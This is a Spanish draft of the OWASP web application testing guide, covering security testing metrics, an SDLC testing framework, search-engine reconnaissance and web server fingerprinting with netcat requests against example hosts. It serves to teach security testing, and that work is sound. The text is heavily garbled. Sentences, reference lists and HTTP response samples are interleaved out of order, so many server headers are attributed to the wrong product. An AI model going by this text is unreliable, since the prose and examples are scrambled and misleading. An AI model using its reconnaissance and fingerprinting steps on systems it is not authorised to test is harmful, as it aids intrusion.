Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad pueden mostrar los proyectos que están dentro del cronograma, avanzar de acuerdo al objetivo de las fechas de entrega y mejorar durante las pruebas.
[6] Bruce Schneier, Cryptogram Issue #9 - schneier.com [7] Symantec, Threat Reports - symantec.com [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov [9] Senator Peace and Assembly Member Simitian, SB 1386- leginfo.ca.gov
Los datos de pruebas de seguridad también ayudan al caso del negocio cuando la iniciativa proviene de agentes de seguridad de la información (ISO). Por ejemplo, puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no afectan la ejecución de los proyectos; más bien reducen la carga de trabajo total necesaria para atacar vulnerabilidades que se presentarán más adelante en la producción.
[10] European Union, Directive 96/46/EC on the protection of individuals with regard to the processing of personal data and on the free movement of such data - ec.europa.eu [11] NIST, Risk management guide for information technology systems csrc.nist.gov [12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and Vulnerability Evaluation (OCTAVE) - cert.org
Para los auditores de cumplimiento, las métricas de pruebas de seguridad [13] Ken Thompson, Reflections on Trusting Trust, Reprinted from Communication of the ACM - cm.bell-labs.com proporcionan un nivel de garantía, seguridad y confianza del software que cumple con el estándar, a través de los procesos de revisión de seguridad dentro de la organización.
Por último, los oficiales en jefe de la información (CIO) y oficiales en jefe de seguridad de la información (CISO), que son responsables del presupuesto que debe asignarse en recursos para la seguridad, buscan la derivación de un análisis de costo - beneficio de los datos de pruebas de seguridad. Esto les permite tomar decisiones fundamentadas con respecto a las actividades de seguridad y herramientas en las que deben invertir. Una de las métricas que respaldan dicho análisis es el retorno sobre la inversión (ROI) en seguridad [23]. Para derivar dichas métricas de los datos de pruebas de seguridad, es importante cuantificar la diferencia entre el riesgo debido a la exposición de las vulnerabilidades y la efectividad de las pruebas de seguridad en la mitigación de los riesgos de seguridad, y factorizar esta brecha con el costo de las actividades de pruebas de seguridad o las herramientas de prueba adoptadas.
Referencias
[14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com [15] FFIEC, Authentication in an Internet Banking Environment www.ffiec.gov [16] PCI Security Standards Council, PCI Data Security Standard pcisecuritystandards.org [17] MSDN, Cheat ¶msdn.microsoft.com
Sheet:
Web
Application
Security
Frame
-
[18] MSDN, Improving Web Application Security, Chapter 2, Threat And Countermeasures - msdn.microsoft.com [19] Sindre,G. Opdmal A., Capturing Security Requirements Through Misuse Cases - folk.uio.no [20] Improving Security Across the Software Development Lifecycle Task Force, Referred Data from Caper Johns, Software Assessments, Benchmarks and Best Practices - criminal-justice-careers.com [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE - cwe.mitre.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 31
Guia de pruebas 4.0 "Borrador"
[22] Marco Morana, Building Security Into The Software Life Cycle, A
3
Business Case - blackhat.com
El Framework Referencial de Pruebas OWASP Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una organización. Puede ser visto como un framework referencial que comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 32
Guia de pruebas 4.0 "Borrador"
Resumen Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una organización. Puede ser visto como un framework referencial que comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC). Las empresas y equipos de proyecto pueden utilizar este modelo para desarrollar su propio framework de pruebas y para mirar los servicios de pruebas de los proveedores. Este framework de pruebas no puede considerarse como prescriptivo, sino como un enfoque flexible que puede ser extendido y moldeado para adaptarse a los procesos de desarrollo y cultura de la organización.
su lugar, presentamos un modelo de desarrollo genérico, y el lector debe seguirlo según el proceso de su empresa.
Este framework de pruebas consiste de las siguientes actividades que deben ocurrir:
• Antes del inicio del desarrollo Esta sección pretende ayudar a las organizaciones a construir un proceso completo de análisis estratégico y no está dirigida a consultores o contratistas que tienden a ser más tácticos en las zonas específicas de la prueba.
• Durante la definición y diseño •.Durante el desarrollo • Durante la implementación
Es fundamental entender por qué se debe crear un framework de pruebas de inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad del software. En la escritura de código seguro, Howard y LeBlanc cuentan que emitir un boletín de seguridad le cuesta a Microsoft por lo menos $100.000, y les cuesta colectivamente a sus clientes mucho más que eso el aplicar los parches de seguridad. También observan que el sitio web de delitos informáticos del gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/) detalla recientes casos criminales y la pérdida de las organizaciones. Las pérdidas comunes superan con creces los USD $100.000.
Con una economía como esta, no es de extrañarse por qué los proveedores de software pasan de realizar únicamente pruebas de seguridad de Caja Negra, que sólo se puede realizar en las aplicaciones que ya se han desarrollado, a concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones tales como la definición, diseño y desarrollo.
Muchos practicantes de seguridad todavía ven la seguridad en el reino de las pruebas de penetración. Como comentamos antes, aunque las pruebas de penetración tienen un papel que desempeñar, son generalmente ineficaces en encontrar errores y dependen excesivamente de la habilidad del evaluador. Solo deben considerarse como técnicas de implementación, o para crear conciencia sobre problemas de producción. Para mejorar la seguridad de las aplicaciones, debe mejorarse la calidad de la seguridad del software. Esto significa probar la seguridad en las etapas de definición, diseño, desarrollo, implementación y mantenimiento y no depender de la costosa estrategia de esperar hasta que el código esté construido completamente.
Como comentamos en la introducción de este documento, existen muchas metodologías de desarrollo como el proceso unificado racional, desarrollo ágil y extremo y metodologías tradicionales de cascada. La intención de esta guía no es proponer ni una metodología de desarrollo en particular ni proporcionar orientación específica que se adhiere a cualquier metodología en particular. En
• Mantenimiento y operaciones
Fase 1: Antes del inicio del desarrollo Fase 1.1: Defina un SDLC Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser definido donde la seguridad es inherente en cada etapa.
Fase 1.2: Revise las políticas y estándares Asegúrese de que existen adecuadas políticas, estándares y documentación en el lugar. La documentación es extremadamente importante ya que da a los equipos las pautas de desarrollo y las políticas que pueden seguir.
La gente sólo puede hacer lo correcto si sabe lo que es lo correcto.
Si la aplicación se desarrollara en Java, es esencial que exista un estándar de codificación segura de Java. Si la aplicación debe utilizar la criptografía, es esencial que haya un estándar de criptografía. Ninguna política o norma puede cubrir cada situación que enfrentará el equipo de desarrollo. Al documentar las cuestiones comunes y predecibles, habrá menos decisiones que necesiten ser hechas durante el proceso de desarrollo.
Fase 1.3: Desarrolle criterios de mediciones y métricas y asegure su trazabilidad Antes de que comience el desarrollo, planifique el plan de medición. Definir los criterios que deben medirse proporciona visibilidad de los defectos tanto en el
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 33
Guia de pruebas 4.0 "Borrador"
proceso como en el producto. Es esencial definir las métricas antes de que comience el desarrollo, ya que puede haber la necesidad de modificar el proceso con el fin de capturar los datos.
Las aplicaciones deben tener una arquitectura y diseño documentados. Esta documentación puede incluir modelos, documentos textuales y otros artefactos similares. Es esencial probar estos artefactos para asegurar que el diseño y la arquitectura de la aplicación mantienen el nivel adecuado de seguridad según lo definido en los requisitos.
Fase 2: Durante la definición y diseño Fase 2.1: Revise los requisitos de seguridad Los requisitos de seguridad definen cómo funciona una aplicación desde
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad sean probados. Probar, en este caso, significa verificar los supuestos que se hacen en los requisitos y las pruebas para ver si hay diferencias en las definiciones de los requisitos.
Identificar fallas de seguridad en la fase de diseño no sólo es uno de los momentos más eficientes en costo para identificar fallas, sino que puede ser uno de los momentos más eficaces para realizar cambios. Por ejemplo, si se identifica que el diseño exige autorización para las decisiones en varios lugares, puede ser apropiado considerar un componente de autorizaciones centralizado. Si la aplicación realiza una validación de datos en múltiples lugares, puede ser apropiado desarrollar un marco de validación central (es decir, la validación de correcciones en un solo lugar, en vez de cientos de lugares; es mucho más económico).
Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema para buscar enfoques alternativos. Por ejemplo, si hay un requisito de seguridad que indica que los usuarios deben estar registrados antes de que puedan acceder a la sección de documentos de un sitio web, ¿esto significa que el usuario debe estar registrado en el sistema o que el usuario esté autenticado? Asegúrese de que los requerimientos sean muy claros.
Al buscar brechas de necesidades, considere mirar los mecanismos de seguridad tales como:
• Administración de usuarios • Autenticación • Autorización • Confidencialidad de datos • Integridad
Fase 2.3: Cree y revise modelos UML Una vez que el diseño y la arquitectura estén completos, construya modelos de Lenguaje de Modelaje Unificado (UML) que describan cómo funciona la aplicación. En algunos casos, estos ya pueden estar disponibles. Use estos modelos para confirmar con los diseñadores de sistemas una comprensión exacta de cómo funciona la aplicación. Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema para buscar enfoques alternativos.
Etapa 2.4: Cree y revise modelos de amenazas Provisto con la revision del diseño y la arquitectura de los modelos UML, y habiendo aclarado exactamente cómo funciona el sistema, lleve a cabo un ejercicio de modelaje de amenazas. Desarrolle escenarios realistas de las amenazas. Analice el diseño y la arquitectura para asegurar que estas amenazas han sido mitigadas, aceptadas por el negocio o asignadas a una tercera persona, como una empresa de seguros. Cuando las amenazas identificadas no tengan estrategias de mitigación, revise el diseño y la
• Responsabilidad • Administración de sesiones
arquitectura con el arquitecto de sistemas para modificar el diseño.
• Seguridad de transporte • Segregación de sistema de información en niveles • Cumplimiento de legislación y estándares (incluidas las normas de privacidad, gubernamentales e industria)
Fase 2.2: Revise el diseño y arquitectura
Fase 3: Durante el desarrollo En teoría, el desarrollo es la aplicación de un diseño. Sin embargo, en el mundo real, muchas decisiones de diseño se realizan durante el desarrollo de la codificación. Son, a menudo, decisiones pequeñas que eran demasiado detalladas para ser descritas en el diseño, o temas donde no se ofrecieron políticas o estándares de orientación. Si el diseño y la arquitectura no fueran adecuados, el desarrollador se enfrentará a muchas decisiones. Si hay normas y políticas insuficientes, el desarrollador se enfrentará aún a más decisiones.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 34
Guia de pruebas 4.0 "Borrador"
Fase 3.1: Camine a través del código El equipo de seguridad debería realizar una "caminata" a través del código con los desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a través del código es un recorrido de alto nivel a través del código, donde los desarrolladores pueden explicar la lógica y el flujo del código implementado. Esta caminata permite al equipo de revisión de código obtener una comprensión general del código y permite a los desarrolladores explicar por qué ciertas cosas se desarrollaron de la manera en que lo hicieron.
El propósito no es realizar una revisión de código, sino entender en un nivel alto el flujo, el diseño y la estructura del código que compone la aplicación.
Para más información sobre las listas OWASP, por favor consulte la guía de OWASP para Seguridad de Aplicaciones Web, o la última edición de la OWASP Top 10.
Fase 4: Durante la fase de implementación Fase 4.1: Prueba de aplicación y penetración Habiendo probado los requisitos, analizado el diseño y realizada la revisión de código, se puede suponer que todos los temas han sido cubiertos. Esperemos que este sea el caso, pero realizar pruebas de penetración de la aplicación después de que se ha implementado proporciona una última comprobación para asegurarse de que nada se ha escapado.
Fase 3.2: Revisiones de código Armado con una buena comprensión de cómo está estructurado el código y por qué ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede examinar ahora el código real en busca de defectos de seguridad.
Las revisiones de código estático validan el código con una serie de listas de verificación, que incluyen:
• Requerimientos del negocio para la disponibilidad, confidencialidad e integridad. • Guía OWASP o listado Top 10 para exposiciones técnicas (dependiendo de la profundidad de la revisión). • Cuestiones específicas relacionadas con el lenguaje o el framework utilizado, tales como el papel Escarlata para el PHP o la lista de Garantía de codificación Microsoft para ASP.NET. • Los requisitos específicos de la industria, tales como Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, las guías de Visa Merchant u otros regímenes normativos.
Fase 4.2: Pruebas de gestión de configuración La prueba de penetración de la aplicación debe incluir la comprobación de cómo la infraestructura fue implementada y asegurada. Aunque la aplicación puede ser segura, un pequeño aspecto de la configuración podría estar todavía en una fase de instalación por defecto y ser vulnerable a la explotación.
Fase 5: Mantenimiento y operaciones Fase 5.1: Revisión de la gestión de la conducta operacional Debe existir un proceso implantado que detalle cómo se maneja tanto la parte operativa de la aplicación como la infraestructura.
Etapa 5.2: Realice pruebas de salud de la conducta periódicamente Las pruebas de salud de la conducta deben realizarse mensual o trimestralmente, tanto sobre la aplicación como sobre la infraestructura para garantizar que no hayan aparecido nuevos riesgos de seguridad y que el nivel de seguridad esté todavía intacto.
En términos del retorno sobre los recursos invertidos (sobre todo tiempo), las revisiones de código estático producen rendimientos de mayor calidad que cualquier otro método
Etapa 5.3: Garantice la verificación después del cambio
de revisión de seguridad y dependen menos en la habilidad del revisor. Sin embargo, no son una solución milagrosa y necesitan ser consideradas cuidadosamente dentro de un régimen de prueba de amplio espectro.
Después de que cada cambio ha sido aprobado y probado en el entorno de control de calidad e implementado en el entorno de producción, es de vital importancia que el cambio sea comprobado para asegurarse de que el nivel de seguridad no ha sido afectado por él . Esto debe estar integrado dentro del proceso de gestión del cambio.
Un flujo de trabajo de pruebas SDLC típico
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 35
Guia de pruebas 4.0 "Borrador"
La siguiente imagen muestra un típico flujo de pruebas de SDLC.
4
Pruebas de Seguridad Aplicaciones Web
de
Las siguientes secciones describen las 12 categorías de la Metodología de Pruebas de Penetración de una Aplicación Web.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 36
Guia de pruebas 4.0 "Borrador"
Pruebas: Introducción y objetivos
• Abierto: cada experto en seguridad puede participar con su experiencia en el proyecto. Todo es gratis.
Esta sección describe la metodología OWASP de pruebas de seguridad de aplicaciones web y explica cómo evaluar para encontrar evidencias de vulnerabilidades dentro de la aplicación, debido a las deficiencias de los controles de seguridad identificados.
• Colaborativo: Se realizan lluvias de ideas antes de que los artículos sean escritos, así el equipo puede compartir ideas y desarrollar una visión colectiva del proyecto. Esto significa un consenso básico, un público más amplio y mayor participación.
¿Qué son las pruebas de seguridad de aplicaciones web?
Este enfoque tiende a crear una metodología de pruebas definida que será:
Una prueba de seguridad es un método para evaluar la fiabilidad de un sistema informático o red mediante una metódica validación y verificación de la efectividad de los controles de seguridad de la aplicación. Una prueba de seguridad de aplicaciones web se centra sólo en evaluar la seguridad de una aplicación web. El proceso implica un análisis activo de la aplicación en busca de deficiencias, fallas técnicas o vulnerabilidades. Cualquier problema de seguridad que se encuentre será presentado al propietario del sistema, junto con una evaluación del impacto y una propuesta de mitigación o una solución técnica.
• Constante • Reproducible • Rigurosa • Bajo control de calidad
¿Qué es una vulnerabilidad? Una vulnerabilidad es un defecto o una debilidad en el diseño, implementación, operación o gestión de un sistema que podría ser explotado para comprometer los objetivos de seguridad del sistema.
Los problemas que se abordarán están totalmente documentados y probados. Es importante utilizar un método para probar todas las vulnerabilidades conocidas y documentar todas las actividades de pruebas de seguridad.
¿Cuál es la metodología de pruebas de OWASP? ¿Qué es una amenaza? Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario interno, una inestabilidad del sistema, etc.) que puedan dañar los activos propios de una aplicación (recursos de valor como los datos en una base de datos o en el sistema de archivos) mediante la explotación de una vulnerabilidad.
Las pruebas de seguridad nunca serán una ciencia exacta donde se puede definir una lista completa de todos los temas posibles que deben ser probados. De hecho, las pruebas de seguridad son sólo una técnica apropiada para probar la seguridad de aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger todas las técnicas de pruebas posibles, explicar estas técnicas y mantener la guía actualizada. El método de pruebas de seguridad de aplicaciones Web OWASP se basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca información sobre la aplicación a probar.
¿Qué es una prueba? Una prueba es una acción que permite demostrar que una aplicación cumple con los requisitos de seguridad de sus grupos de interés.
El Enfoque en la escritura de esta guía El enfoque de la OWASP es abierto y colaborativo:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 37
Guia de pruebas 4.0 "Borrador"
El modelo de prueba consiste de:
El conjunto de pruebas activas se han dividido en 11 categorías para un total de 91 controles:
• Evaluador: uien realiza las actividades de prueba • Herramientas y metodología: el núcleo de este proyecto de guía de pruebas • Aplicación: la Caja Negra para la prueba • Recopilación de información • Pruebas de gestión de configuración e implementación La prueba se divide en dos fases: • Pruebas de gestión de identidad • Pruebas de autenticación • Fase 1 Modo pasivo: • Pruebas de autorización En el modo pasivo, el evaluador intenta comprender la lógica de la aplicación y juega con la aplicación. Se pueden utilizar herramientas para la recopilación de información. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe comprender todos los puntos de acceso (puertas) de la aplicación (por ejemplo, encabezados HTTP, parámetros y cookies). La sección de Recolección de Información explica cómo realizar una prueba de modo pasivo.
• Pruebas de gestión de sesión • Pruebas de validación de ingreso • Manejo de errores • Criptografía • Pruebas de lógica del negocio
Por ejemplo, el evaluador puede encontrar lo siguiente: • Pruebas del punto de vista del cliente
https://www.example.com/login/Authentic_Form.html Pruebas de la recopilación de la información
Esto puede indicar una forma de autenticación donde la aplicación solicita un nombre de usuario y contraseña.
Entender la configuración implementada del servidor que aloja la aplicación web es casi tan importante como la aplicación misma de pruebas de seguridad. Después de todo, una cadena de aplicaciones sólo es tan fuerte como su eslabón más débil. Las plataformas de aplicación son amplias y variadas, pero algunos errores clave de configuración de la plataforma pueden comprometer la aplicación de la misma manera que una aplicación no segura puede comprometer al servidor.
Los siguientes parámetros representan dos puntos de acceso (puertas) a la aplicación. Mediante un motor de búsqueda, realice una búsqueda descubrimiento/reconocimiento de fugas de información (OTG-INFO-001)
de
http://www.example.com/Appx.jsp?a=1&b=1 Resumen
En este caso, la aplicación muestra dos puertas (parámetros a y b). Todas las puertas que se encuentran en esta fase representan un punto de prueba. Una hoja de cálculo con el árbol de directorios de la aplicación y todos los puntos de acceso podría ser útil para la segunda fase.
• Fase 2 Modo Activo: En esta fase el evaluador empieza a probar utilizando la metodología descrita en las secciones siguientes.
Existen elementos directos e indirectos para el descubrimiento y reconocimiento mediante motores de búsqueda. Los métodos directos se refieren a buscar en los índices y el contenido asociado al caché. Los métodos indirectos se refieren a información sensible de la configuración y diseño mediante búsquedas en foros, grupos de noticias y sitios de licitación web. Una vez que un robot de motores de búsqueda ha terminado de arrastrarse, comienza la indexación de la página web basada en etiquetas y atributos asociados, tales como<TITLE>, con el fin de devolver los resultados de búsqueda relevantes [1]. Si el archivo robots.txt no está actualizado durante la vida útil del sitio web y en línea HTML las meta etiquetas, que indican a los robots que no generen índices del
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 38
Guia de pruebas 4.0 "Borrador"
contenido, no han sido utilizadas, entonces es posible que los índices incluyan contenido web cuya inclusión no estaba prevista por parte de los propietarios. Los propietarios de páginas web pueden utilizar el mencionado robots.txt, meta etiquetas HTML, autenticación y herramientas proporcionados por los motores de búsqueda para eliminar dicho contenido.
• ixquick/Startpage • Google • Shodan • PunkSpider
Objetivos de la prueba Para entender qué información sensible del diseño y configuración de la aplicación/sistema/organización está expuesta directamente (en la página web de la organización) o indirectamente (en un sitio web de terceros).
Cómo probar Use un motor de búsqueda para buscar:
• Diagramas de red y configuraciones • Mensajes archivados y mensajes de correo electrónico
Duck Duck Go y ixquick/Startpage proveen información limitada al respecto de fugas del evaluador.
Google ofrece el operador de búsqueda "cache:" avanzado [2], pero esto es el equivalente a hacer clic en el "caché", al lado de cada resultado de búsqueda de Google. Por lo tanto, usar el operador de búsqueda de "sitios" avanzado y luego hacer clic en "cached" es preferible.
El Google SOAP Search API soporta el doGetCachedPage y los mensajes SOAP de doGetCachedPageResponse asociado [3] para ayudar a recuperar páginas en caché. Una implementación de esto está en desarrollo por OWASP en el proyecto "Google Hacking".
de los administradores y demás personal clave
• Procedimientos de inicio de sesión y otros formatos de nombre de usuario
PunkSpider es un motor de búsqueda de vulnerabilidades de aplicaciones web. Es de poca utilidad para un evaluador de penetración mientras realiza un trabajo manual. Sin embargo, puede ser útil para demostrar la facilidad con la cual los script-kiddies (usuarios inexpertos) pueden encontrar vulnerabilidades.
• Nombres de usuario y contraseñas • Contenido de mensajes de error • Desarrollo, prueba, UAT escenificando las versiones de la página web
Por ejemplo, para encontrar el contenido de la web de owasp.org indexado por un motor de búsqueda típico, la sintaxis requerida es:
Operadores de búsqueda Utilizando la búsqueda avanzada del operador de búsqueda de "sitios", es posible restringir los resultados de la búsqueda a un dominio específico [2]. No limite las pruebas a un proveedor de motor de búsqueda ya que se pueden generar diferentes resultados, dependiendo de cuándo rastrean los contenidos y de sus propios algoritmos. Considere usar los siguientes buscadores:
• Baidu • binsearch.info • Bing • Duck Duck Go
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 39
Guia de pruebas 4.0 "Borrador"
• Información sensible de compras en línea
Herramientas [4] FoundStone SiteDigger: mcafee.com
[5] Google Hacker: yehg.net Para mostrar el index.html de owasp.org como está en cache, la sintaxis es: [6] Stach & Liu’s Google Hacking Diggity Project: bishopfox.com
[7] PunkSPIDER: punkspider.hyperiongray.com
Referencias Web [1] “Google Basics: Learn how Google Discovers, Crawls, and Serves Web Pages” - support.google.com
[2] “Operators and More Search Help”: support.google.com Base de datos de Google Hacking La base de datos de Google Hacking es una lista muy útil de consultas de búsqueda de Google. Las consultas se ponen en varias categorías:
• Puntos de apoyo o bases de apoyo • Archivos que contienen nombres de usuario
[3] “Google Hacking Database”: exploit-db.com
Remediación Considere cuidadosamente la sensibilidad de la información del diseño y configuración antes de publicarla en línea.
• Directorios sensibles • Detección de servidores web • Archivos vulnerables
Periódicamente revise la sensibilidad de la información del diseño y configuración existente que está publicada en línea.
• Servidores vulnerables • Mensajes de error
Use huellas digitales en el servidor web (OTG-INFO-002)
• Archivos que contienen información atractiva
Resumen
• Archivos que contienen contraseñas
El utilizar huellas digitales en el servidor web es una tarea fundamental para
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 40
Guia de pruebas 4.0 "Borrador"
el evaluador de penetración. Conocer la versión y el tipo de un servidor web
en ejecución permite a los evaluadores determinar vulnerabilidades conocidas y cómo explotarlas adecuadamente para usarlas durante la prueba.
Hay varios proveedores diferentes y versiones de servidores web en el mercado hoy. Conocer el tipo de servidor web que está siendo probado ayuda significativamente en el proceso de prueba, y también puede cambiar el curso de la prueba.
Esta información se puede derivar enviando al servidor web comandos específicos y analizando la respuesta de salida, como cada versión de software del servidor web puede responder de manera distinta a estos comandos. Sabiendo cómo responde cada tipo de servidor web a comandos específicos y manteniendo esta información en una base de datos de huellas digitales de servidores web, un evaluador de penetración puede enviar estos comandos al servidor web, analizar la respuesta y compararla con la base de datos de firmas conocidas.
Tenga en cuenta que generalmente necesita varios comandos diferentes para identificar con precisión el servidor web, cómo las diferentes versiones pueden reaccionar de manera similar para el mismo comando. Raramente las diferentes versiones reaccionan de la misma manera a todos los comandos HTTP; por lo que mediante el envío de varios comandos diferentes, el evaluador puede aumentar la precisión de su conjetura.
Del campo del servidor, se puede entender que el servidor es muy probablemente Apache, versión 1.3.3, y que corre sobre un sistema operativo Linux. Cuatro ejemplos de los encabezados de respuesta HTTP se indican a continuación:
De un servidor Apache 1.3.23:
HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:10: 49 GMT Server: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT ETag: 32417-c4-3e5d8a83
Objetivos de las pruebas Encontrar la versión y el tipo de servidor web en ejecución para determinar vulnerabilidades conocidas y la manera de explotarlas para usar durante la prueba.
Accept-Ranges: bytes Content-Length: 196 Connection: close
Cómo probar
Prueba de Caja Negra
De un servidor Microsoft IIS 5.0:
La forma más simple y más básica de identificar un servidor web es buscar en el campo del servidor, en el encabezado de respuesta HTTP. Utilizamos Netcat en este experimento.
Considere la siguiente respuesta de solicitud HTTP:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 41
Guia de pruebas 4.0 "Borrador"
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0
En este caso, el campo de servidor de esa respuesta es ofuscado. El evaluador no puede saber qué tipo de servidor web se ejecuta basado en dicha información.
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
403 HTTP/1.1 Forbidden
Content-Type: text/HTML
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Accept-Ranges: bytes
Server: Unknown-Webserver/1.0
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
Connection: close
Content-Type: text/HTML; charset=iso-8859-1
De un servidor Netscape Enterprise 4.1: HTTP/1.1 200 OK Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT Content-type: text/HTML Comportamiento de protocolo Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT Content-length: 57
Accept-ranges: bytes
Técnicas de comportamiento más refinadas toman en cuenta diversas características de los varios servidores web disponibles en el mercado. Abajo está una lista de algunas metodologías que permiten a los evaluadores deducir el tipo de servidor web que está en uso.
Ordenamiento de campo de encabezado HTTP
De un servidor SunONE 6.1: El primer método consiste en observar el ordenamiento de los encabezados en la respuesta. Cada servidor web tiene un orden interior del encabezado.
HTTP/1.1 200 OK Supongamos las siguientes respuestas, como ejemplo: Server: Sun-ONE-Web-Server/6.1 Respuesta de Apache 1.3.23 Date: Tue, 16 Jan 2007 14:53:45 GMT Content-length: 1186 Content-type: text/html Date: Tue, 16 Jan 2007 14:50:31 GMT Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT Accept-Ranges: bytes
Sin embargo, esta metodología de prueba es limitada en cuanto a precisión. Existen varias técnicas que permiten a un sitio web oscurecer o modificar la cadena de encabezado del servidor. Por ejemplo, uno podría obtener la siguiente respuesta:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 42
Guia de pruebas 4.0 "Borrador"
$ nc apache.example.com 80
$ nc netscape.example.com 80
HEAD / HTTP/1.0
HEAD / HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Netscape-Enterprise/4.1
Server: Apache/1.3.23
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
Content-type: text/HTML
ETag: 32417-c4-3e5d8a83
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Accept-Ranges: bytes
Content-length: 57
Content-Length: 196
Accept-ranges: bytes
Connection: close Respuesta de IIS 5.0
Respuesta de SunONE 6.1
$ nc iis.example.com 80
$ nc sunone.example.com 80
HEAD / HTTP/1.0
HEAD / HTTP/1.0
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Server: Sun-ONE-Web-Server/6.1
Content-Location: http://iis.example.com/Default.htm
Date: Tue, 16 Jan 2007 15:23:37 GMT
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-length: 0
Content-Type: text/HTML
Content-type: text/html
Accept-Ranges: bytes
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
Respuesta de Netscape Enterprise 4.1
Podemos notar que el orden de los campos de fecha y servidor difieren entre Apache, Netscape Enterprise y IIS.
Pruebas de solicitudes con formato incorrecto Otra prueba útil para ejecutar consiste en enviar solicitudes con formato incorrecto o páginas inexistentes al servidor. Considere las siguientes respuestas HTTP.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 43
Guia de pruebas 4.0 "Borrador"
Respuesta de Apache 1.3.23
$ nc sunone.example.com 80
$ nc apache.example.com 80
GET / HTTP/3.0
GET / HTTP/3.0
HTTP/1.1 400 Bad request
HTTP/1.1 400 Bad Request Date: Sun, 15 Jun 2003 17:12: 37 GMT Server: Apache/1.3.23
Server: Sun-ONE-Web-Server/6.1 Date: Tue, 16 Jan 2007 15:25:00 GMT Content-length: 0 Content-type: text/html
Connection: close
Transfer: chunked
Respuesta de IIS 5.0
Podemos notar que cada servidor responde de forma diferente. La respuesta también es diferente, dependiendo de la versión del servidor. Observaciones similares se pueden hacer creando peticiones con un método HTTP inexistente. Considere las siguientes respuestas:
$ nc iis.example.com 80
GET / HTTP/3.0
Respuesta de Apache 1.3.23
HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT Content-Type: text/HTML Accept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
$ nc apache.example.com 80 GET / JUNK/1.0 HTTP/1.1 200 OK Date: Sun, 15 Jun 2003 17:17: 47 GMT Server: Apache/1.3.23 Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT ETag: 32417-c4-3e5d8a83
Respuesta de Netscape Enterprise 4.
$ nc netscape.example.com 80
Accept-Ranges: bytes Content-Length: 196
GET / HTTP/3.0 HTTP/1.1 505 HTTP Version Not Supported
Respuesta de IIS 5.0
Server: Netscape-Enterprise/4.1 Date: Mon, 16 Jun 2003 06:04: 04 GMT Content-length: 140 Content-type: text/HTML
Respuesta de SunONE 6.1
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 44
Guia de pruebas 4.0 "Borrador"
$ nc iis.example.com 80
• Desenmascarame - desenmascara.me
GET / JUNK/1.0
HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Fri, 01 Jan 1999 20:14: 34 GMT Content-Type: text/HTML Content-Length: 87
Respuesta de Netscape Enterprise 4.1
$ nc netscape.example.com 80 GET / JUNK/1.0
Pruebas automatizadas
